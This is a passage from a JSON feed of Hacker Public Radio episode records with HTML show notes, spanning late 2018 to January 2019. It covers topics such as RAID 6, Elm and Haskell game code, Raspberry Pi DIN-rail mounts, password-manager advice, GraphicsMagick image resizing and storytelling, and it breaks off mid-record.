                                                              • Comment 1:\nKen Fallon on 2018-12-28:\n\"Did anyone win ?\"

                                                              \n
                                                            • hpr2716\n(2018-12-31) \"Really Simple YouTube\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-12-31:\n\"Already put to use\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-December/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            \nThanks to all HPR contributors in 2018!\n

                                                            \n

                                                            \nAaressaar, Ahuka, Al, Archer72, Mr. Young, bjb, bookewyrmm, Brian in Ohio, clacke, Claudio Miranda, Clinton Roy, Dave Morriss, David Whitman, desearcher, dodddummy, Edward Miro / c1ph0r, finux, folky, Honkeymagoo, HPR Volunteers, HPR_AudioBookClub, Jeroen Baten, Joey Hess, Jon Kulp, JWP, Ken Fallon, klaatu, knightwise, lostnbronx, m1rr0r5h4d35, MPardo, MrX, NYbill, operat0r, Philip, Quvmoh, Shane Shennan, sigflup, Steve Saner, swift110, Thaj Sara, The Alien Brothers Podcast (ABP), the_remora, TheDUDE, thelovebug, ToeJet, Tony Hughes AKA TonyH1212, Tuula, Various Creative Commons Works, Various Hosts, Xoke, Xtrato, Yannick the french guy from Switzerland.\n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2722,"date":"2019-01-08","title":"RAID 6 a short description","duration":150,"summary":"How Raid 6 works","notes":"

                                                            Raid 6 is a take of raid 5 but with support for 2 drive protection.

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raid6","version":0,"downloads":0,"valid":1}, {"id":2723,"date":"2019-01-09","title":"Using Elm in context of 4X game client","duration":2671,"summary":"Tuula talks their decisions on structuring Elm application","notes":"

                                                            Original idea I had with my toy game project was to have Yesod render most of the user interface as static HTML and have as little client side scripting as possible. Later I realized that there would be parts with significant amount of client side code and it might be better if whole site was written in Elm.

                                                            \n

                                                            Couple goals I had in my mind when I started this:

                                                            \n
                                                              \n
                                                            • easy to work with
                                                            • \n
                                                            • type safe
                                                            • \n
                                                            • extensible
                                                            • \n
                                                            • user authorization\n
                                                                \n
                                                              • regular player
                                                              • \n
                                                              • administrator
                                                              • \n
                                                            • \n
                                                            \n

                                                            Backend is written in Haskell and front end in Elm. Communication between them is via REST interface and most of the data is in JSON. All JSON encoding / decoding is centralized (more or less), same with initiating requests to server.

                                                            \n

                                                            API Endpoints

                                                            \n

                                                            End points used for REST calls are defined in single data type that captures their name and parameters. These are used when initiating requests, meaning there’s smaller chance of typo slipping through.

                                                            \n
                                                            type Endpoint\n    = ApiStarDate\n    | ApiResources\n    | ApiStarSystem\n    | ApiStar\n    | ApiPlanet\n    | ApiPopulation PlanetId\n    | ApiBuilding PlanetId\n    | ApiConstructionQueue PlanetId\n    | ApiConstruction Construction\n    | ApiBuildingConstruction\n    | ApiAvailableBuildings
                                                            \n

                                                            For example, sending a GET request to retrieve all construction projects on a planet is done as:

                                                            \n
                                                            Http.send (ApiMsgCompleted << ConstructionsReceived) (get (ApiConstructionQueue planetId) (list constructionDecoder))
                                                            \n

                                                            GET Request is sent to ApiConstructionQueue endpoint and it has planetId as parameter. When server sends response, our program will parse content of it will be a list that is parsed with constructionDecoder and create “ApiMsgCompleted ConstructionsReceived” message with result of the parsing. Update function will process this and store list of constructions somewhere safe for further use.

                                                            \n

                                                            Update function

                                                            \n

                                                            Update function is in charge of reacting to messages (mouse clicks, page changes, responses from server). In a large program update function will quickly get big and unwieldy. Breaking it into smaller pieces (per page for example), will make maintenance easier. This way each page has their own message type and own update function to handle it. In addition there’s few extra ones (cleaning error display, processing API messages and reacting to page changes).

                                                            \n

                                                            Same way as API end points are encoded in a type, pages are too:

                                                            \n
                                                            type Route\n    = HomeR\n    | ProfileR\n    | StarSystemsR\n    | StarSystemR StarSystemId\n    | PlanetR StarSystemId PlanetId\n    | BasesR\n    | FleetR\n    | DesignerR\n    | ConstructionR\n    | MessagesR\n    | AdminR\n    | LogoutR\n    | ResearchR
                                                            \n

                                                            routeToString function is used to map Route into String, that can be placed in hyperlink. Below is an excerp:

                                                            \n
                                                            routeToString : Route -> String\nrouteToString route =\n    case route of\n        HomeR ->\n            "/home"\n\n        StarSystemR (StarSystemId sId) ->\n            "/starsystem/" ++ String.fromInt sId\n\n        PlanetR (StarSystemId sId) (PlanetId pId) ->\n            "/starsystem/" ++ String.fromInt sId ++ "/" ++ String.fromInt pId
                                                            \n

                                                            Because mapping needs to be bi-directional (Route used to define content of a href and string from a href used to define Route), there’s mapping to other direction too:

                                                            \n
                                                            routes : Parser (Route -> a) a\nroutes =\n    oneOf\n        [ map HomeR top\n        , map ProfileR (s "profile")\n        , map ResearchR (s "research")\n        , map StarSystemsR (s "starsystem")\n        , map StarSystemR (s "starsystem" </> starSystemId)\n        , map PlanetR (s "starsystem" </> starSystemId </> planetId)\n        , map BasesR (s "base")\n        , map FleetR (s "fleet")\n        , map DesignerR (s "designer")\n        , map ConstructionR (s "construction")\n        , map MessagesR (s "message")\n        , map AdminR (s "admin")\n        , map LogoutR (s "logout")\n]
                                                            \n

                                                            Result of parsing is Maybe Route, meaning that failure will return Nothing. Detecting and handling this is responsibility of the calling code, usually I just default to HomeR.

                                                            \n

                                                            Breadcrumbs

                                                            \n

                                                            Borrowing from Yesod, client uses recursive function to define breadcrumb path. This is hierarchical view of current location in the application, allowing user to quickly navigate backwards where they came.

                                                            \n

                                                            Breadcrumb path consists of segments that are tuple of (String, Maybe Route). String tells text to display and Route is possible parent route of the segment. This allows hierarchical definition: “Home / Star systems / Sol / Earth”. Because route has only (for example) PlanetId, we need to pass Model too, so that the data retrieved from server can be used to figure out what name such a planet has.

                                                            \n
                                                            {-| Build complete breadcrumb path and wrap it in enclosing HTML\n-}\nbreadcrumbPath : Model -> Html Msg\n\n{-| Recursively build list of breadcrumbs from segments\nLast one is plain text, while parents of it are links\n-}\nbreadcrumb : Model -> Bool -> Route -> List (Html Msg)\n\n{-| Get segment of given route in form of ( String, Maybe Route )\nString denotes text describing the segment, Maybe Route is possible parent\n-}\nsegment : Model -> Route -> ( String, Maybe Route )
                                                            \n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"elm","version":0,"downloads":0,"valid":1}, {"id":2724,"date":"2019-01-10","title":"Using a DIN Rail to mount a Raspberry Pi","duration":549,"summary":"I created DIN rail fittings for attaching my RPi 3B+ and an SSD disk","notes":"

                                                            Overview

                                                            \n

                                                            A DIN Rail is a metal rail for mounting pieces of electrical equipment inside an equipment rack, for performing tasks in a building, in a machine, and so forth. It’s common to see DIN rails holding circuit breakers for example.

                                                            \n

                                                            See the Wikipedia article on the subject for full details.

                                                            \n

                                                            A number of people in the Maker Community have made use of these rails, and there are a number of freely available designs for stands that can be 3D printed on which you can mount these rails. There are also designs for mounts onto which devices like Raspberry Pis and disks can be fitted and attached to a rail.

                                                            \n

                                                            This show will recount my experiences with creating a compact mounting system for one of my Raspberry Pi systems. I had the help of my son and his girlfriend in 3D printing the parts for this project.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes and pictures for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"3D printing,DIN rail,Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2725,"date":"2019-01-11","title":"The Illumos Shutdown Command Explained","duration":812,"summary":"A short pod cast about the Illumos shutdown command","notes":"

                                                            In response to JWP's episode 2697 and ClaudioM's comment, this show covers the shutdown command as it appeared in Sun Solaris and OpenSolaris, and currently appears in both Oracle Solaris and OpenIndiana.\n\n

                                                            \nThe quick version:\n

                                                            \n\n
                                                              \n
                                                            • shutdown
                                                            • \n
                                                            • -i sets the destination init state (5 to shutdown, 6 to reboot, and so on; see man init for more)
                                                            • \n
                                                            • -y to answer \"yes\" to the safeguard prompt asking you whether you really want to shutdown
                                                            • \n
                                                            • -g to set how many seconds until shutdown. Default is 60.\n
                                                            • \n
                                                            \n\n

                                                            In practise, I don't even use the shutdown command. I use poweroff, which does a shutdown and poweroff.

                                                            \n\n

                                                            \nBoth shutdown and poweroff require root permission. On OpenIndiana, you can either use sudo bash or pfexec bash to get a root prompt.\n

                                                            \n\n

                                                            Some links:

                                                            \n

                                                            OpenIndiana handbook

                                                            \n

                                                            Sun Microsystem docs (with Oracle branding on it)

                                                            \n\n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sys admin,systems,unix,illumos","version":0,"downloads":0,"valid":1}, {"id":2726,"date":"2019-01-14","title":"Home Theater - Part 2 Software (High Level)","duration":1249,"summary":"I go over a high level of my notes for the software on my Media box as it relates to TV/Movies/Music","notes":"

                                                            https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY

                                                            \n
                                                              \n
                                                            • Future Eps for Series:\n
                                                                \n
                                                              • Sonarr / Filename Fixes
                                                              • \n
                                                              • SABnzbd
                                                              • \n
                                                              • Subsonic / orpheus.network /Audio Fixes
                                                              • \n
                                                            • \n
                                                            \n\n

                                                            Local copy of the shownotes

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kodi, deluge,Sonarr,Plex,Subsonic,SpiderOakONE,Zoneminder,Borg Backup,rclone,Redshift,Audacity","version":0,"downloads":0,"valid":1}, {"id":2727,"date":"2019-01-15","title":"Passwords","duration":467,"summary":"How to do passwords better. ","notes":"

                                                            Introduction

                                                            \n

                                                            Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to record an episode on the importance of good passwords. This will be part one in a series of podcasts I’m going to call “Information Security for Everyone”. As with most of the content I create in the world of infosec, my goal is to present the information in a way that a majority of people can get value from it and anyone can play this for a friend, colleague or family member and make it easy for the non-hackers in our lives to understand.

                                                            \n

                                                            Passwords

                                                            \n

                                                            One of the first things most people think about when it comes to online safety is their password. We all know that passwords are to our online accounts what keys are for our locks. Would you use the same key for your house, your car, your office and your safety deposit box? Of course not. And if you did, what would happen if a bad guy could get a copy of just that one key? They’d have access to everything. With so much of our personal, confidential, financial and medical information accessible from our various online accounts, what can we do to make things as safe as possible?

                                                            \n

                                                            For me personally I employ and advise a three faceted approach:

                                                            \n
                                                              \n
                                                            1. Complex passwords
                                                            2. \n
                                                            3. Unique passwords
                                                            4. \n
                                                            5. Two-factor authentication (where available)
                                                            6. \n
                                                            \n

                                                            Clearly the solution is to use a unique password for each account and make them complicated enough that an attacker couldn’t guess it or crack it in an amount of time that would be actionable. One problem this presents to general users is the inconvenience and difficulty in remembering these passwords or storing them in a secure way. This leads into my first bit of advice:

                                                            \n

                                                            Password Managers

                                                            \n

                                                            My recommendation is to use a password manager. I’m going to make references to managers such as LastPass because that’s the one I’ve always used, but I’m not saying it’s the best or would be the best for you. There are many great options and I would rather people use the one that works the best for them and not merely the one I like best. Anyways. Applications like LastPass give you the ability to store all passwords in your encrypted “vault” and then request them through browser add-ons or standalone applications. They also have built in features that allow you to generate secure passwords at any length or complexity.

                                                            \n

                                                            When using a password manager, all you have to remember is your ONE master password. When you sign in, the manager can then decrypt all your saved passwords and let you use them. When I sign up for a website, I use LastPass to generate the longest and most complex password supported by the site and it gets stored in my vault safely for later use.

                                                            \n

                                                            There are various options online to choose from and I suggest you do some research and try a few different ones to see what is comfortable for you. One thing to consider when using a password manager is that the master password is your single point of failure and should be a long and complex password that you don’t use ANYWHERE else.

                                                            \n

                                                            If you’re wondering how to come up with a secure password that you can remember there are various strategies online, but I follow this:

                                                            \n

                                                            Take a poem, song lyrics or phrase that is easy for you to remember. For this example I’ll use the phrase:

                                                            \n
                                                            "The stars at night are big and bright. Deep in the heart of Texas."
                                                            \n

                                                            Then I take the first letters from each word and that gives me:

                                                            \n
                                                            TsanababdithoT.
                                                            \n

                                                            Then I swap out the vowels for some numbers/special characters. And that gives me:

                                                            \n
                                                            T5@n@b@bd1th0T
                                                            \n

                                                            I checked that password on Dashlane’s Password Strength Checker, and got the following results:

                                                            \n
                                                            It would take a computer about 204 million years to crack your password
                                                            \n

                                                            And that’s just an example of a very secure password that I thought up in just a few seconds that I probably won’t ever be able to forget it.

                                                            \n

                                                            2FA (two-factor authentication)

                                                            \n

                                                            Another very important recommendation I want to touch on in this episode is using two-step authentication. I use it for all accounts that offer it and it’s very easy to set-up and use. It works in tandem with an application on my mobile device called Google Authenticator(though there are others and like LastPass this is just the one I use) and it’s available for Android and iOS. After you install the app, you access the security settings for the account you want to protect and register it with your device.

                                                            \n

                                                            What it does is provide a “second” password when logging it that is only used one time. When you log in, the site will prompt for the two-step authentication code, you then open the Google Authenticator app and the code for the session will be listed. The codes are only available for a short time and are constantly changing. This makes someone gaining unauthorized access to your account VERY difficult.

                                                            \n

                                                            A few closing thoughts

                                                            \n

                                                            Some information security professionals see a password manager as insecure due to it being a single point of failure. I can understand this and would respond that although this might be true, having a complex master password and using the manager in conjunction with two-step authentication makes it a pretty safe and solid system. And even if there is a breach, none of my passwords are the same and changing them is incredibly fast and easy with a manager.

                                                            \n

                                                            Also, I usually don’t recommend keeping hard copies of passwords, but if you can guarantee the physical security of your password list, this in my opinion is preferable to using the same, insecure password for all your accounts.

                                                            \n

                                                            Please remember, if you’re like most people on the internet and you use an easy to crack password or the same password on all your sites, all it takes is one compromised account to give bad guys access to everything.

                                                            \n

                                                            I’m also including a list of links in the bottom of the show notes to everything I mentioned and also a link to the site Have I Been Pwned. This is a service that collects accounts that have been involved in hacks and lets anyone search for their email address and see if their information is already compromised. If it is, do this NOW:

                                                            \n
                                                              \n
                                                            1. Setup a password manager with a strong master password.
                                                            2. \n
                                                            3. Change all your passwords using the built in password generator in your password manager and save them in your vault as you go.
                                                            4. \n
                                                            5. In the future when breaches happen, it’s incredibly easy to change your password and you’ll also rest easy knowing that the password obtained can’t get them into anything else.
                                                            6. \n
                                                            \n

                                                            I know this will take a long time. But it’s worth it. Then, you only have to remember one master password and you will be exponentially safer online.

                                                            \n

                                                            I also linked SplashData’s “The Top 100 Worst Passwords of 2018”. PLEASE don’t use anything on this list.

                                                            \n

                                                            Well, thank you for taking the time to listen to my basic introduction to passwords. I hope this will help any non-hackers in your life and like I say in all my podcasts, I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, or just wanna chat, feel free to email me.

                                                            \n

                                                            Thank you and have a safe 2019!

                                                            \n

                                                            Links:

                                                            \n\n","hostid":372,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Information Security for Everyone","version":0,"downloads":0,"valid":1}, {"id":2728,"date":"2019-01-16","title":"The Unreliable Narrator In Storytelling","duration":814,"summary":"Lostnbronx looks at unreliable narrators and narrative techniques in stories.","notes":"

                                                            In some stories, the narrator or dominating character can’t be trusted by the audience, creating opportunities for various storytelling effects. What makes for an unreliable narrator? What are some of the strengths and weaknesses of this technique? How can the underlying structure of a tale be similar to an unreliable narrator, even if the story doesn’t actually have one? Lostnbronx takes a rambling, off-the-cuff look at this interesting literary tool

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories,storytelling,narration,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2729,"date":"2019-01-17","title":"Bash Tips - 18","duration":1898,"summary":"Arrays in Bash (part 3)","notes":"

                                                            Bash Tips - 18 (Extra auxiliary Bash tips)

                                                            \n

                                                            Arrays in Bash

                                                            \n

                                                            This is the third of a small group of shows on the subject of arrays in Bash. It is also the eighteenth show in the Bash Tips sub-series.

                                                            \n

                                                            In the last show we looked at ways of accessing elements with negative indices and how to concatenate arrays. We then launched into parameter expansion in the context of arrays.

                                                            \n

                                                            There are a few more parameter expansion operations to look at in this episode, then in the next episode we will look in more depth at the declare built in command and at some of the commands that assist with loading data into arrays.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,array,indexed array,associative array,parameter expansion","version":0,"downloads":0,"valid":1}, {"id":2730,"date":"2019-01-18","title":"Resizing images for vcard on Android","duration":688,"summary":"Automating the steps needed to get images formatted for VCard import into Android phones","notes":"

                                                            I have had problems importing vcards onto my Android phone. After a lot of troubleshooting, I tracked it down to embedded images in the card. The PHOTO;VALUE field to be precise.

                                                            \n\n

                                                            Some images worked and some didn't, and looking at the properties some that worked were larger than others that didn't. In the end I tracked down a post on stackoverflow that hinted that the aspect ratio was important. And sure enough it was.

                                                            \n\n
                                                            \n

                                                            starting with jelly bean (4.1), android now supports contact images that are 720x720.
                                                            before, starting with ICS (4.0), android has supported contact images that are 256x256.
                                                            and before that, contact photos had just a size of a thumbnail - 96x96.

                                                            \nStack exchange \n
                                                            \n\n\n

                                                            I tried a 720x720 on a few phones but decided to settle on 256x256 for now.

                                                            \n\n\n

                                                            To do image manipulation, I tend to use the GraphicsMagick tools instead of the more popular ImageMagick suite. You should be able to achieve the same result in either.

                                                            \n\n\n

                                                            My requirements were:

                                                            \n
                                                              \n
                                                            • The images should be scaled so that the maximum height/width shrinks to 256, maintaining the aspect ratio.
                                                            • \n
                                                            • The images should always be 256x256 in size.
                                                            • \n
                                                            • Scaled images should be padded and centered on a white background.
                                                            • \n
                                                            • All color profile information should be removed.
                                                            • \n
                                                            \n\n\n

                                                            To use an example I took the following image and saved it as Linus_Torvalds.jpg

                                                            \n\n\n

                                                            By Krd (photo)Von Sprat (crop/extraction) - File:LinuxCon Europe Linus Torvalds 03.jpg, CC BY-SA 4.0, Link

                                                            \n\n\n

                                                            Step one is to use the -size 256x256 option which you would think would do the scaling, but in fact it only reduces the file to 366x509 which is not what I expected.

                                                            \n\n
                                                            $ gm convert -size 256x256 \"Linus_Torvalds.jpg\" Linus_Torvalds_1.jpg
                                                            $ gm identify Linus_Torvalds_1.jpg\nLinus_Torvalds_1.jpg JPEG 366x509+0+0 DirectClass 8-bit 56.1Ki 0.000u 0m:0.000002
                                                            \n\n\n

                                                            \n\n\n

                                                            However it appears that the option is used when creating new files, and is also used by the processor to determine the intended target size. Which is why I left it in. So what we actually need is the -resize option.

                                                            \n\n
                                                            \n$ gm convert -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 Linus_Torvalds_2.jpg\n$ gm identify Linus_Torvalds_2.jpg\nLinus_Torvalds_2.jpg JPEG 184x256+0+0 DirectClass 8-bit 47.7Ki 0.000u 0m:0.000001s\n
                                                            \n\n

                                                            \n\n

                                                            So this has done a good job at scaling the image down. It's now scaled correctly so that the biggest edge is scaled down to 256. In this case it was the height but the width is now shorter than what we need. We do want to maintain the aspect ratio so that we don't distort the image but 184x256 is not 1:1 aspect ratio nor is it the needed dimensions of 256x256.

                                                            \n\n

                                                            The solution to this is to use the -extent command.

                                                            \n\n
                                                            $ gm convert -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 Linus_Torvalds_3.jpg\n$ gm identify Linus_Torvalds_3.jpg\nLinus_Torvalds_3.jpg JPEG 256x256+0+0 DirectClass 8-bit 48.0Ki 0.000u 0m:0.000001s
                                                            \n\n\n

                                                            \n\n\n

                                                            This gives us the correct size and a 1:1 aspect ratio, but the image is left justified. To fix this we need to use the -gravity command. That needs to be the first argument of the command. Finding the correct order of the commands took some trial and error.

                                                            \n\n
                                                            $ gm convert -gravity center -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 Linus_Torvalds_4.jpg\n$ gm identify Linus_Torvalds_4.jpg\nLinus_Torvalds_4.jpg JPEG 256x256+0+0 DirectClass 8-bit 48.5Ki 0.000u 0m:0.000001s
                                                            \n\n

                                                            \n\n

                                                            Finally we remove all profile information using +profile which should make the image more generic.

                                                            \n\n
                                                            $ gm convert -gravity center -size 256x256 \"Linus_Torvalds.jpg\" -resize 256x256 -extent 256x256 +profile \"*\" Linus_Torvalds_5.jpg\n$ gm identify Linus_Torvalds_5.jpg\nLinus_Torvalds_5.jpg JPEG 256x256+0+0 DirectClass 8-bit 5.7Ki 0.000u 0m:0.000001s
                                                            \n\n

                                                            Putting it all together we get.

                                                            \n\n
                                                            gm convert -gravity center -size 256x256 \"big-image.jpg\" -resize 256x256 -extent 256x256 +profile \"*\" \"256x256_image.jpg\"\n
                                                            \n\n

                                                            \n\n

                                                            You should now be able to add these images to vcards without any problem.

                                                            \n\n

                                                            Here is a one liner to create 96x96 256x256 and 720x720 thumbnails of all the jpg images in a directory.

                                                            \n\n

                                                             

                                                            \n\n
                                                            for image in *jpg;do for size in 96x96 256x256 720x720; do gm convert -gravity center -size ${size} \"${image}\" -resize ${size} -extent ${size} +profile \"*\" \"thumbnail-${size}-${image}\";done;done
                                                            \n\n

                                                            Also available here

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GraphicsMagick, ImageMagick, VCard, Android, LineageOS","version":0,"downloads":0,"valid":1}, {"id":2731,"date":"2019-01-21","title":"My 8 bit Christmas","duration":1579,"summary":"I got a new, old computer for Christmas - an Acorn BBC microcomputer model B.","notes":"

                                                            For Christmas 2018 Santa – well, Mrs mcnalu – gave me a BBC Model B which was my first computer back in the early 1980s. This request was heavily implied in TuxJam 70 - Gift for Geeks.

                                                            \n

                                                            I can highly recommend the seller who, as you will hear, was extremely helpful when this 36 year old bundle of 8 bit loveliness became very poorly on Boxing Day. It came with a Turbo MMC installed and you can see it in action on another BBC Model B in this video.

                                                            \n

                                                            The noise you hear at the start - the beeeeee BEEP - is the sound of me turning on the BBC. I mention in the show that mode 0 of the Beeb, as it is affectionately known, has 80 columns and 40 rows. This isn’t quite right, there are only 32 rows in mode 0.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro,BBC,8-bit,assembler","version":0,"downloads":0,"valid":1}, {"id":2732,"date":"2019-01-22","title":"Storytelling formula compliance","duration":1692,"summary":"Telling a story? want a reaction? USE THE FORMULA","notes":"

                                                            \nStorytelling has had a formula for yearsAndYears. Some people speak of it in disdain (\"it was too formulaïc\") and others (creative writing and intro film teachers, mostly) praise it. Everybody else (us) is a sucker for it.\n

                                                            \n\n

                                                            \nHere is the literal formula, in pseudo code:\n

                                                            \n\n
                                                            {A} \n{A} Reinforced\n\n{Z}\n\n{A} Returned\n\n{B...Y}\n\n{Z} Returned\n
                                                            \n\n

                                                            \nYou can (and should, because it's free and you can throw out your work if you don't like it) practise this formula by plugging in events to represent A and Z, where A and Z are polar opposites.\n

                                                            \n\n

                                                            \nReally obvious examples are any given romantic comedy:\n

                                                            \n\n
                                                            {A} Jack is A=\"single and free\"\n{A} Scene to reinforce that Jack is in relationships with no strings attached. Jack is {A}.\n\n{Z} Jack meets Jill, realises she makes him happy. He decides he's had enough of being {A} and want to be {Z=married}\n\n{A} Reunion with old school mate makes Jack question his resolve. He leaves Jill so he can be {A}\n\n{B...Y} Plot happens. Jack does stuff, Jill does stuff. Funny? Tragic? You decide!\n\n{Z} Jack realizes at last that he's only happy with Jill, and that being {Z} with Jill is the only way to be truly free.\n
                                                            \n\n

                                                            \nYou can also try it with the old Evil Empire plot line.\n

                                                            \n\n
                                                            {A} Jill is an {A=obedient citizen}. Loves her mama, loves Jesus and America, too.\n{A} Scene in which Jill witnesses a Rebel being mistreated unjustly, but does nothing to stand up for what is right, because she is {A}.\n\n{Z} Jill meets Jack, an outlaw and rebel against the Empire. He's in trouble, so she helps him evade the police.\n\n{A} Jill, horrified at her own rebellion, conforms all the more. She is dedicated to the Empire, and works diligently to hunt down Jack and his rag tag band of rebels.\n\n{B...Y} Plot happens. Action, laser guns, laser swords, nationalism, motorcycle gangs.\n\n{Z} Jill, seeing the devastation her allegiance has caused, realises that the Empire is actually Evil. She joins the rebels to fight for freedom.\n
                                                            \n\n

                                                            \nNow go practice this. Soon you will be telling stories, jokes, and anecdotes that have a clear beginning, a clear conflict, and a clear ending.\n

                                                            \n\n","hostid":78,"series":99,"explicit":1,"license":"CC-BY-SA","tags":"story, character, plot, writing","version":0,"downloads":0,"valid":1}, {"id":2733,"date":"2019-01-23","title":"Writing Web Game in Haskell - News and Notifications","duration":2837,"summary":"Tuula talks about the game they're writing in Haskell and convoluted news system they made.","notes":"

                                                            Intro

                                                            \n

                                                            News and notifications are used in the game to let the players know something noteworthy has happened. It could be discovery of a new planet or construction project finally finishing.

                                                            \n

                                                            All relevant information in the news is hyperlinked. If news mentions a planet, player can click the link and view current information of that planet.

                                                            \n

                                                            Server interface

                                                            \n

                                                            Server has three resources for news, although we’re concentrating only one here:

                                                            \n
                                                            /api/message           ApiMessageR      GET POST\n/api/message/#NewsId   ApiMessageIdR    DELETE\n/api/icon              ApiMessageIcons  GET
                                                            \n

                                                            First one is for retrieving all messages and posting a new one. Second one is for marking one read and third one is for retrieving all icons that players can attach to messages written by them.

                                                            \n

                                                            Database

                                                            \n

                                                            Database is defined in /config/models file. For news, there’s only one table:

                                                            \n
                                                            News json\n    content Text\n    factionId FactionId\n    date Int\n    dismissed Bool\nderiving Show Read Eq
                                                            \n

                                                            Content field contains the actual news article data as serialized JSON. This allows storing complex data, without having to have lots of columns or multiple tables.

                                                            \n

                                                            Domain objects

                                                            \n

                                                            There are many kinds of messages that players might see, but we’ll concentrate on one about discovering a new planet

                                                            \n

                                                            All different kinds of articles are of same type: NewsArticle. Each different kind of article has their own value constructor (PlanetFound in this particular case). And each of those value constructors has single parameter of a specific type that holds information particular to that certain article (PlanetFoundNews in this case). Adding a new article means adding a new value constructor and record to hold the data.

                                                            \n
                                                            data NewsArticle =\n    StarFound StarFoundNews\n    | PlanetFound PlanetFoundNews\n    | UserWritten UserWrittenNews\n    | DesignCreated DesignCreatedNews\n    | ConstructionFinished ConstructionFinishedNews\n\n\ndata PlanetFoundNews = PlanetFoundNews\n    { planetFoundNewsPlanetName :: Text\n    , planetFoundNewsSystemName :: Text\n    , planetFoundNewsSystemId   :: Key StarSystem\n    , planetFoundNewsPlanetId   :: Key Planet\n    , planetFoundNewsDate       :: Int\n    }
                                                            \n

                                                            Given a News object, we can turn it into NewsArticle. These are much nicer to deal with that densely packed News that is stored in database:

                                                            \n
                                                            parseNews :: News -> Maybe NewsArticle\nparseNews =\n    decode . toLazyByteString . encodeUtf8Builder . newsContent
                                                            \n

                                                            Because parsing arbitrary JSON might fail, we get Maybe NewsArticle, instead of NewsArticle. It is possible to write the same code in longer way:

                                                            \n
                                                            parseNews news =\n    let\n        content = newsContent news\n        utf8Encoded = encodeUtf8Builder content\n        byteString = toLazyByteString utf8Encoded\n    in\n        decode byteString
                                                            \n

                                                            Similarly there’s two other functions for dealing with Entities (primary key, data - pair really) and list of Entities. Note that parseNewsEntities filters out all News that it didn’t manage to turn into NewsArticle. They have following signatures:

                                                            \n
                                                            parseNewsEntity :: Entity News -> (Key News, Maybe NewsArticle)\n\nparseNewsEntities :: [Entity News] -> [(Key News, NewsArticle)]
                                                            \n

                                                            Writing JSON encoding and decoding is tedious, template Haskell can help us here:

                                                            \n
                                                            $(deriveJSON defaultOptions ''PlanetFoundNews)\n$(deriveJSON defaultOptions ''NewsArticle)
                                                            \n

                                                            Turning Articles into JSON

                                                            \n

                                                            News articles aren’t much use if they stay on the server, we need to send them to clients too. We can’t have multiple declarations of same typeclass for any type, so we declare complete new type and copy data there before turning it into JSON and sending to client (this is one way of doing this).

                                                            \n

                                                            First step, define our types (concentrating on planet found news here):

                                                            \n
                                                            data NewsArticleDto =\n    StarFoundDto StarFoundNewsDto\n    | PlanetFoundDto PlanetFoundNewsDto\n    | UserWrittenDto UserWrittenNewsDto\n    | DesignCreatedDto DesignCreatedNewsDto\n    | ConstructionFinishedDto ConstructionFinishedNewsDto\n    deriving (Show, Read, Eq)\n\ndata PlanetFoundNewsDto = PlanetFoundNewsDto\n    { planetFoundNewsDtoPlanetName :: Text\n    , planetFoundNewsDtoSystemName :: Text\n    , planetFoundNewsDtoSystemId   :: Key StarSystem\n    , planetFoundNewsDtoPlanetId   :: Key Planet\n    , planetFoundNewsDtoDate       :: Int\n    }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            We need way to move data into dto and thus define a type class for that operation:

                                                            \n
                                                            class (ToJSON d) => ToDto c d | c -> d where\n    toDto :: c -> d
                                                            \n

                                                            For more information about functional dependencies, check following links: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/glasgow_exts.html#extension-FunctionalDependencies and https://wiki.haskell.org/Functional_dependencies

                                                            \n

                                                            Writing instances for our type class:

                                                            \n
